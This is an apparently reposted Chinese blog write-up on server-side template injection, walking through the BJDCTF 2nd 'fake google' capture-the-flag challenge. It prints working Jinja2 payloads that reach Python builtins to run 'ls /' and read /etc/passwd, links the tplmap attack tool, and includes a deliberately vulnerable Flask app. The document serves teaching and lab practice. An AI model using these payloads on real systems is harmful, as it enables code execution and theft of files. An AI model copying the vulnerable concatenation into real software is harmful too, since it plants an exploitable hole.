ssti注入(服务器模板注入) && BJDCTF 2nd fake google

Posted Michae1

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ssti注入(服务器模板注入) && BJDCTF 2nd fake google相关的知识,希望对你有一定的参考价值。

参考链接:

https://www.cnblogs.com/buchuo/p/12559408.html

https://www.cnblogs.com/tiaopidejun/p/12357245.html

https://www.cnblogs.com/gzs-monkey/p/10727330.html#autoid-0-0-0

0x00:SSTI介绍

ssti注入又称服务器端模板注入攻击(Server-Side Template Injection),和sql注入一样,也是由于接受用户输入而造成的安全问题。

它的实质就是服务器端接受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一部分,但是在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露,代码执行,getshell等问题。

这个问题主要是出在web应用模板渲染的过程中,目前比较流行的渲染引擎模板主要有:smarty,twig,jinja2,freemarker,velocity

 

百度百科:模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

 

0x01:测试方法

BJDCTF 2nd fake google

 

 

 

输入任何东西,都会显示在页面上

<script>alert(\'1\')</script> 还有XSS但没用

测试payload

?name={{2*3}}
?name={{1+2}}  //这个需要把 + URL编码一下  即 {{1%2b2}}

 

目录

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\'catch_warnings\' %}{{ c.__init__.__globals__[\'__builtins__\'].eval("__import__(\'os\').popen(\'ls /\').read()")}}{% endif %}{% endfor %}

 

 

 python3 读取文件

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\'catch_warnings\' %}{{ c.__init__.__globals__[\'__builtins__\'].open(\'/etc/passwd\', \'r\').read() }}{% endif %}{% endfor %}

 

 

 

ssti注入工具

https://github.com/epinna/tplmap  

 

一题:https://blog.csdn.net/qq_40827990/article/details/82940894

python  OS 模块执行命令

 

 

简单的漏洞测试代码

from flask import Flask, request
from jinja2 import Environment

app = Flask(__name__)
Jinja2 = Environment()

@app.route("/page")
def page():

    name = request.values.get(\'name\')
    
    # SSTI VULNERABILITY
    # The vulnerability is introduced concatenating the
    # user-provided `name` variable to the template string.
    output = Jinja2.from_string(\'Hello \' + name + \'!\').render()
    
    # Instead, the variable should be passed to the template context.
    # Jinja2.from_string(\'Hello {{name}}!\').render(name = name)

    return output

if __name__ == "__main__":
    app.run(host=\'0.0.0.0\', port=80)

 

1

以上是关于ssti注入(服务器模板注入) && BJDCTF 2nd fake google的主要内容,如果未能解决你的问题,请参考以下文章

python-SSTI模板注入

详解SSTI模板注入

详解SSTI模板注入

SSTI-服务端模板注入漏洞

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现

关于SSTI的坑